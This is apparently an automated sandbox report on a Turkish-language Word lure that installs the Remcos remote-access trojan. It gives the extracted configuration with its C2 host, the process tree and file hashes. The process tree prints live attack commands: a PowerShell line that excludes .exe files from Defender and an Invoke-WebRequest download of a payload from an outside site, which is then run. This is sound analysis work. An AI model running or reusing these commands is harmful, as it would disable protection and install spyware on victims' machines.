Analysis

  • max time kernel
    151s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220331-en
  • submitted
    05/04/2022, 17:48

General

  • Target
    TÜRKİYE MÜŞTERİDEN ÖRNEK SİPARİŞ.doc
  • Size 54KB
  • Sample220405-wdf3wsebgr
  • SHA256 43874a9fbb28f47bc007e30c0c5494bb292e376398db3c446aa8567f8a4a49b1
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • remcos

Botnet
  • BADDEST

C2
  • achimumuazi.hopto.org:2311

Attributes
  • audio_folder

    MicRecords

  • audio_path

    %AppData%

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • install_path

    %AppData%

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    Remcos-RC6B7F

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    Remcos

  • take_screenshot_option

    false

  • take_screenshot_time

    5

  • take_screenshot_title

    notepad;solitaire;

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 13 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 24 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\TÜRKİYE MÜŞTERİDEN ÖRNEK SİPARİŞ.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    PID:4252
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4344
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 37D44898F2234884E2FBDDB461CFFADD
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3852
      • C:\Windows\SysWOW64\ICACLS.EXE
        "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-f8ccd582-e23d-49c4-b742-b86834a1fd9e\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
        3⤵
        • Modifies file permissions
        PID:4320
      • C:\Windows\SysWOW64\EXPAND.EXE
        "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
        3⤵
        • Drops file in Windows directory
        PID:1960
      • C:\Users\Admin\AppData\Local\Temp\MW-f8ccd582-e23d-49c4-b742-b86834a1fd9e\files\BADDEST.exe
        "C:\Users\Admin\AppData\Local\Temp\MW-f8ccd582-e23d-49c4-b742-b86834a1fd9e\files\BADDEST.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:1276
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c jay.bat
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4588
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -command "Set-MpPreference -ExclusionExtension ".exe"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4768
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -command "Invoke-WebRequest -uri https://graydonscrossing.com/VEE/BADDEST.exe -o BADDEST.exe"
            5⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2236
          • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BADDEST.exe
            BADDEST.exe
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetWindowsHookEx
            PID:2772
      • C:\Windows\SysWOW64\ICACLS.EXE
        "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-f8ccd582-e23d-49c4-b742-b86834a1fd9e\." /SETINTEGRITYLEVEL (CI)(OI)LOW
        3⤵
        • Modifies file permissions
        PID:1428
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\Admin\AppData\Local\Temp\MW-f8ccd582-e23d-49c4-b742-b86834a1fd9e\files"
        3⤵
          PID:912

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
          • MD5 SHA1 SHA512

          BADDEST.exe

          • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BADDEST.exe
          • Size 462KB
          • SHA256 c8759815049c285e90d75b25700666cd8475f9c67ac55e9641b762fe6a3f3b2e
          • MD5 SHA1 SHA512 SSDEEP

          BADDEST.exe

          • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BADDEST.exe
          • Size 462KB
          • SHA256 c8759815049c285e90d75b25700666cd8475f9c67ac55e9641b762fe6a3f3b2e
          • MD5 SHA1 SHA512 SSDEEP

          jay.bat

          • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jay.bat
          • Size 200B
          • SHA256 084c4e1a468c9cd2e47b103c2152ad96bebd48b5a20633c84ea8f468e3a4b670
          • MD5 SHA1 SHA512

          files.cab

          • Path C:\Users\Admin\AppData\Local\Temp\MW-f8ccd582-e23d-49c4-b742-b86834a1fd9e\files.cab
          • Size 151KB
          • SHA256 ea5373be802f70e431d3718f293c16ff05c1f8683f6c7621a20a3b7987474bc9
          • MD5 SHA1 SHA512 SSDEEP

          BADDEST.exe

          • Path C:\Users\Admin\AppData\Local\Temp\MW-f8ccd582-e23d-49c4-b742-b86834a1fd9e\files\BADDEST.exe
          • Size 151KB
          • SHA256 16810a489310baaf2af8502734bd0a82128719ac234153666ac453bca42f141b
          • MD5 SHA1 SHA512 SSDEEP

          BADDEST.exe

          • Path C:\Users\Admin\AppData\Local\Temp\MW-f8ccd582-e23d-49c4-b742-b86834a1fd9e\files\BADDEST.exe
          • Size 151KB
          • SHA256 16810a489310baaf2af8502734bd0a82128719ac234153666ac453bca42f141b
          • MD5 SHA1 SHA512 SSDEEP

          msiwrapper.ini

          • Path C:\Users\Admin\AppData\Local\Temp\MW-f8ccd582-e23d-49c4-b742-b86834a1fd9e\msiwrapper.ini
          • Size 1KB
          • SHA256 20b8281e1d0330fff5285da654dd02dea8baa9f538d7efe157c6d700b1025845
          • MD5 SHA1 SHA512

          msiwrapper.ini

          • Path C:\Users\Admin\AppData\Local\Temp\MW-f8ccd582-e23d-49c4-b742-b86834a1fd9e\msiwrapper.ini
          • Size 1KB
          • SHA256 f9bf62e215eef3e2f74324ae1d726018d4558159d638b515c824d3574c83baad
          • MD5 SHA1 SHA512

          MSI38D.tmp

          • Path C:\Windows\Installer\MSI38D.tmp
          • Size 208KB
          • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
          • MD5 SHA1 SHA512 SSDEEP

          MSI38D.tmp

          • Path C:\Windows\Installer\MSI38D.tmp
          • Size 208KB
          • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
          • MD5 SHA1 SHA512 SSDEEP

          MSI515.tmp

          • Path C:\Windows\Installer\MSI515.tmp
          • Size 208KB
          • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
          • MD5 SHA1 SHA512 SSDEEP

          MSI515.tmp

          • Path C:\Windows\Installer\MSI515.tmp
          • Size 208KB
          • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
          • MD5 SHA1 SHA512 SSDEEP

          MSIB75F.tmp

          • Path C:\Windows\Installer\MSIB75F.tmp
          • Size 208KB
          • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
          • MD5 SHA1 SHA512 SSDEEP

          MSIB75F.tmp

          • Path C:\Windows\Installer\MSIB75F.tmp
          • Size 208KB
          • SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
          • MD5 SHA1 SHA512 SSDEEP

          memory/2236-151-0x00000182EDC60000-0x00000182EDC62000-memory.dmp

          memory/2236-152-0x00000182EDC63000-0x00000182EDC65000-memory.dmp

          memory/2236-153-0x00000182EDC66000-0x00000182EDC68000-memory.dmp

          memory/2236-150-0x00007FF9DE090000-0x00007FF9DEB51000-memory.dmp

          memory/4252-126-0x00007FF9C9F90000-0x00007FF9C9FA0000-memory.dmp

          memory/4252-164-0x00007FF9C9F90000-0x00007FF9C9FA0000-memory.dmp

          memory/4252-167-0x00007FF9C9F90000-0x00007FF9C9FA0000-memory.dmp

          memory/4252-166-0x00007FF9C9F90000-0x00007FF9C9FA0000-memory.dmp

          memory/4252-165-0x00007FF9C9F90000-0x00007FF9C9FA0000-memory.dmp

          memory/4252-125-0x00007FF9C9F90000-0x00007FF9C9FA0000-memory.dmp

          memory/4252-124-0x00007FF9C9F90000-0x00007FF9C9FA0000-memory.dmp

          memory/4252-127-0x00007FF9C9F90000-0x00007FF9C9FA0000-memory.dmp

          memory/4252-128-0x00007FF9C9F90000-0x00007FF9C9FA0000-memory.dmp

          memory/4768-145-0x000001EEB9E90000-0x000001EEB9E92000-memory.dmp

          memory/4768-144-0x000001EEB9E96000-0x000001EEB9E98000-memory.dmp

          memory/4768-142-0x000001EEB9E60000-0x000001EEB9E82000-memory.dmp

          memory/4768-146-0x000001EEB9E93000-0x000001EEB9E95000-memory.dmp

          memory/4768-143-0x00007FF9DE090000-0x00007FF9DEB51000-memory.dmp